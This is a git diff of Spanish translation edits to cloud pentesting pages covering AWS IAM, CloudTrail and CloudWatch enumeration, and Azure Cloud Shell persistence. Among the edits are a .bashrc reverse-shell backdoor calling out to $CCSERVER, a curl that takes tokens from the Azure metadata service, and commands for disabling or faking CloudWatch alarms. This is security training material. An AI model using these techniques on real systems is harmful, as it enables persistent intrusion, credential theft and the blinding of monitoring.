diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index d1f0b51de..d709d8590 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -86,11 +86,11 @@ IAM se puede definir por su capacidad para gestionar, controlar y gobernar los m ### [Usuario raíz de la cuenta de AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**. +Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una identidad de inicio de sesión única que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que utilizaste para crear la cuenta**. -Nota que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**. +Nota que un nuevo **usuario admin** tendrá **menos permisos que el usuario raíz**. -Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este. +Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este. ### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) @@ -103,10 +103,10 @@ Los usuarios pueden tener **MFA habilitado para iniciar sesión** a través de l #### CLI - **ID de clave de acceso**: 20 caracteres alfanuméricos aleatorios en mayúsculas como AKHDNAPO86BSHKDIRYT -- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de clave de acceso secreta perdidas). +- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de claves de acceso secretas perdidas). Siempre que necesites **cambiar la clave de acceso**, este es el proceso que debes seguir:\ -&#xNAN;_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_ +_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_ ### MFA - Autenticación de Múltiples Factores @@ -143,7 +143,7 @@ Aquí hay algunas características importantes de los grupos de usuarios: Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adoptar diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM. -Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**. +Un rol de IAM consta de **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **qué puede acceder**. #### Servicio de Token de Seguridad de AWS (STS) @@ -151,7 +151,7 @@ El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita l ### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas. +Las **credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas. ### Políticas @@ -162,7 +162,7 @@ Se utilizan para asignar permisos. Hay 2 tipos: - Políticas administradas por AWS (preconfiguradas por AWS) - Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia. -Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\ +Por **defecto, el acceso** está **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\ Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto). ```javascript { @@ -191,8 +191,8 @@ Los [campos específicos que se pueden usar para condiciones por servicio están #### Políticas en línea -Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\ -Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal. +Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Por lo tanto, no aparecen en la lista de Políticas ya que ningún otro puede usarlas.\ +Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso se debe a que son parte de la entidad principal. #### Políticas de Bucket de Recursos @@ -220,18 +220,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Tenga en cuenta que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Nota que por defecto **AWS puede agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Por lo tanto, si en algún momento se enfrenta al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**. +Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**. ### Federación de Identidad -La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta de IAM válida.\ -Un ejemplo de un proveedor de identidad puede ser su propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS. +La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\ +Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá entonces a los usuarios dentro de él acceder a AWS. -Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado. +Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma confiable accede a AWS, lo hará como el rol mencionado. -Sin embargo, generalmente querrá dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro. +Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
@@ -241,7 +241,7 @@ AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades El dominio de inicio de sesión será algo como `.awsapps.com`. -Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden utilizar: +Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar: - Directorio del Centro de Identidad: Usuarios regulares de AWS - Active Directory: Soporta diferentes conectores @@ -257,12 +257,12 @@ Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **cr Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**. -Por lo tanto, incluso si ve 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**. +Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**. -### Confianza y Roles entre Cuentas +### Confianzas y Roles entre Cuentas -**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, simplemente cree un nuevo Rol y seleccione Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posee, y proporcionar acceso entre una cuenta que posee y una cuenta de AWS de terceros.\ -Se recomienda **especificar el usuario que es de confianza y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza. +**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\ +Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza. ### AWS Simple AD @@ -271,7 +271,7 @@ No soportado: - Relaciones de Confianza - Centro de Administración de AD - Soporte completo de API de PS -- Papelera de reciclaje de AD +- Papelera de Reciclaje de AD - Cuentas de Servicio Administradas por Grupo - Extensiones de Esquema - Sin acceso directo a OS o Instancias @@ -282,17 +282,19 @@ La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales tempora ### Otras opciones de IAM -- Puede **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña. -- Puede **descargar un "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puede generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**. +- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña. +- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**. -AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puede especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestiona los permisos para su fuerza laboral y sistemas para **asegurar permisos de menor privilegio**. +AWS Identity and Access Management (IAM) proporciona **control de acceso granular** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**. ### Prefijos de ID de IAM -En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puede encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza: +En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza: -| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Código de Identificador | Descripción | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + | ACCA | Credencial específica del contexto | | AGPA | Grupo de usuarios | | AIDA | Usuario IAM | @@ -322,8 +324,8 @@ Los siguientes privilegios otorgan varios accesos de lectura de metadatos: ### Autenticación CLI -Para que un usuario regular se autentique en AWS a través de CLI, necesita tener **credenciales locales**. Por defecto, puede configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\ -En ese archivo puede tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\ +Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\ +En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\ Ejemplo de archivo de credenciales con más de 1 perfil: ``` [default] @@ -351,7 +353,7 @@ Con este archivo de configuración, puedes usar aws cli así: ``` aws --profile acc2 ... ``` -Si estás buscando algo **similar** a esto pero para el **navegador**, puedes consultar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). +Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index ed5f4986b..d5f28775b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -24,7 +24,7 @@ Los registros de CloudTrail pueden ser **agregados a través de cuentas y region CloudTrail permite usar **la integridad del archivo de registro para poder verificar que tus archivos de registro no han cambiado** desde que CloudTrail te los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\ Al crear un Trail, los selectores de eventos te permitirán indicar el tipo de registro: eventos de gestión, de datos o de información. -Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tengan acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves. +Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puedes usar SSE con KMS y tus propias claves. Los registros se almacenan en un **bucket de S3 con este formato de nombre**: @@ -88,15 +88,15 @@ El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los r Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security - -| Integridad del Archivo de Registro de CloudTrail |
  • Validar si los registros han sido manipulados (modificados o eliminados)
  • Utiliza archivos de resumen (crea un hash para cada archivo)

    • Hashing SHA-256
    • SHA-256 con RSA para firma digital
    • clave privada propiedad de Amazon
  • Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
| +| Control Name | Implementation Details | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Detener el acceso no autorizado |
  • Usar políticas de IAM y políticas de bucket de S3

    • equipo de seguridad —> acceso de administrador
    • auditores —> acceso solo de lectura
  • Usar SSE-S3/SSE-KMS para cifrar los registros
| -| Prevenir que los archivos de registro sean eliminados |
  • Restringir el acceso de eliminación con políticas de IAM y bucket
  • Configurar la eliminación MFA de S3
  • Validar con la Validación de Archivos de Registro
| +| CloudTrail Log File Integrity |
  • Validar si los registros han sido manipulados (modificados o eliminados)
  • Usa archivos de resumen (crea un hash para cada archivo)

    • SHA-256 hashing
    • SHA-256 con RSA para firma digital
    • clave privada propiedad de Amazon
  • Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
| +| Stop unauthorized access |
  • Usar políticas de IAM y políticas de bucket S3

    • equipo de seguridad —> acceso de administrador
    • auditores —> acceso solo de lectura
  • Usar SSE-S3/SSE-KMS para cifrar los registros
| +| Prevent log files from being deleted |
  • Restringir el acceso de eliminación con políticas de IAM y de bucket
  • Configurar S3 MFA delete
  • Validar con Validación de Archivos de Registro
| ## Access Advisor -AWS Access Advisor se basa en los últimos 400 días de registros de **CloudTrail de AWS para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. +AWS Access Advisor se basa en los últimos 400 días de registros de AWS **CloudTrail para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. > [!TIP] > Por lo tanto, Access Advisor informa sobre **los permisos innecesarios que se están otorgando a los usuarios** para que el administrador pueda eliminarlos @@ -198,7 +198,7 @@ De esta manera, un **atacante puede obtener el ARN de la clave sin activar ning ![](<../../../../images/image (93).png>) > [!CAUTION] -> Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están corregidas, así que tal vez necesites encontrar las tuyas... +> Ten en cuenta que todas las API públicas descubiertas que no estaban creando logs de CloudTrail ahora están arregladas, así que tal vez necesites encontrar las tuyas... > > Para más información, consulta la [**investigación original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 072068795..f27c6ed67 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -11,7 +11,7 @@ Puede establecer **alarmas de alta resolución**, visualizar **logs** y **métri Puede monitorear, por ejemplo, logs de CloudTrail. Los eventos que se monitorean: - Cambios en Grupos de Seguridad y NACLs -- Iniciar, Detener, reiniciar y terminar instancias EC2 +- Inicio, Detención, reinicio y terminación de instancias EC2 - Cambios en Políticas de Seguridad dentro de IAM y S3 - Intentos de inicio de sesión fallidos en la Consola de Administración de AWS - Llamadas a la API que resultaron en autorización fallida @@ -68,7 +68,7 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda **Metric Streams** en AWS CloudWatch le permiten transmitir continuamente métricas de CloudWatch a un destino de su elección en casi tiempo real. Esto es particularmente útil para monitoreo avanzado, análisis y dashboards personalizados utilizando herramientas fuera de AWS. -**Metric Data** dentro de Metric Streams se refiere a las mediciones o puntos de datos reales que se están transmitiendo. Estos puntos de datos representan varias métricas como utilización de CPU, uso de memoria, etc., para recursos de AWS. +**Metric Data** dentro de Metric Streams se refiere a las mediciones reales o puntos de datos que se están transmitiendo. Estos puntos de datos representan varias métricas como utilización de CPU, uso de memoria, etc., para recursos de AWS. **Ejemplo de Caso de Uso**: @@ -84,11 +84,11 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda - **Umbral**: El valor en el que se activa la alarma. - **Períodos de Evaluación**: El número de períodos sobre los cuales se evalúan los datos. - **Puntos de Datos para la Alarma**: El número de períodos con un umbral alcanzado necesario para activar la alarma. -- **Acciones**: Lo que sucede cuando se activa el estado de la alarma (por ejemplo, notificar a través de SNS). +- **Acciones**: Lo que sucede cuando se activa el estado de una alarma (por ejemplo, notificar a través de SNS). **Ejemplo de Caso de Uso**: -- Monitorear la utilización de CPU de la instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos. +- Monitorear la utilización de CPU de una instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos. ### Anomaly Detectors @@ -118,16 +118,16 @@ Las unidades son el tipo de medida asociado con una métrica. Las unidades ayuda Permite **agregar y monitorear logs de aplicaciones** y sistemas de **servicios de AWS** (incluyendo CloudTrail) y **de aplicaciones/sistemas** (**CloudWatch Agent** se puede instalar en un host). Los logs pueden ser **almacenados indefinidamente** (dependiendo de la configuración del Grupo de Logs) y pueden ser exportados. **Elementos**: - -| **Grupo de Logs** | Una **colección de flujos de logs** que comparten la misma retención, monitoreo y configuraciones de control de acceso | -| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Flujo de Logs** | Una secuencia de **eventos de logs** que comparten el **mismo origen** | +| Término | Definición | +| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Grupo de Logs** | Una **colección de flujos de logs** que comparten la misma retención, monitoreo y configuraciones de control de acceso | +| **Flujo de Logs** | Una secuencia de **eventos de logs** que comparten la **misma fuente** | | **Filtros de Suscripción** | Definen un **patrón de filtro que coincide con eventos** en un grupo de logs particular, enviándolos a un flujo de Kinesis Data Firehose, flujo de Kinesis o una función Lambda | ### Monitoreo y Eventos de CloudWatch CloudWatch **básico** agrega datos **cada 5 minutos** (el **detallado** lo hace **cada 1 minuto**). Después de la agregación, **verifica los umbrales de las alarmas** en caso de que necesite activar una.\ -En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS Lambda, temas de SNS, colas de SQS, flujos de Kinesis). +En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS lambda, temas de SNS, colas de SQS, flujos de Kinesis) ### Instalación del Agente @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alertas de una organización. Al eliminar alarmas existentes, un atacante podría desactivar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, violaciones de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales. +Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alerta de una organización. Al eliminar alarmas existentes, un atacante podría desactivar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, violaciones de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales. Además, con el permiso **`cloudwatch:PutCompositeAlarm`**, un atacante podría crear un bucle o ciclo de alarmas compuestas, donde la alarma compuesta A depende de la alarma compuesta B, y la alarma compuesta B también depende de la alarma compuesta A. En este escenario, no es posible eliminar ninguna alarma compuesta que sea parte del ciclo porque siempre hay una alarma compuesta que depende de esa alarma que deseas eliminar. ```bash @@ -287,13 +287,13 @@ Al eliminar acciones de alarma, el atacante podría prevenir alertas críticas y Además, un atacante con el permiso podría manipular los estados de alarma, siendo capaz de crear falsas alarmas para distraer y confundir a los administradores, o silenciar alarmas genuinas para ocultar actividades maliciosas en curso o fallos críticos del sistema. -- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Solo regresa a su estado real una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración. +- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Regresa a su estado real solo una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potenciales no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. +**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potencialmente no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** @@ -370,7 +370,7 @@ aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` -**Impacto Potencial**: Dificultad para detectar y responder a problemas de rendimiento y anomalías, toma de decisiones mal informadas y potencialmente ocultar actividades maliciosas o fallos del sistema. +**Impacto Potencial**: Dificultad para detectar y responder a problemas de rendimiento y anomalías, toma de decisiones erróneas y potencialmente ocultar actividades maliciosas o fallos del sistema. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** @@ -417,7 +417,7 @@ Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de C aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Impacto Potencial**: Disrupción de las políticas de control de acceso basadas en etiquetas. +**Impacto Potencial**: Disrupción de políticas de control de acceso basadas en etiquetas. ## Referencias diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index ada0eb342..618b79b4b 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Cloud Shell Persistence +## Persistencia en Cloud Shell Azure Cloud Shell ofrece acceso a la línea de comandos para gestionar recursos de Azure con almacenamiento persistente y autenticación automática. Los atacantes pueden explotar esto colocando puertas traseras en el directorio personal persistente: @@ -10,21 +10,13 @@ Azure Cloud Shell ofrece acceso a la línea de comandos para gestionar recursos * **Scripts de Inicio**: Archivos como .bashrc se ejecutan automáticamente al inicio de cada sesión, permitiendo la ejecución persistente cuando se inicia el cloud shell. Ejemplo de puerta trasera en .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - Este backdoor puede ejecutar comandos incluso 5 minutos después de que el usuario haya terminado con el cloud shell. Además, consulta el servicio de metadatos de Azure para obtener detalles de la instancia y tokens: -{% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git 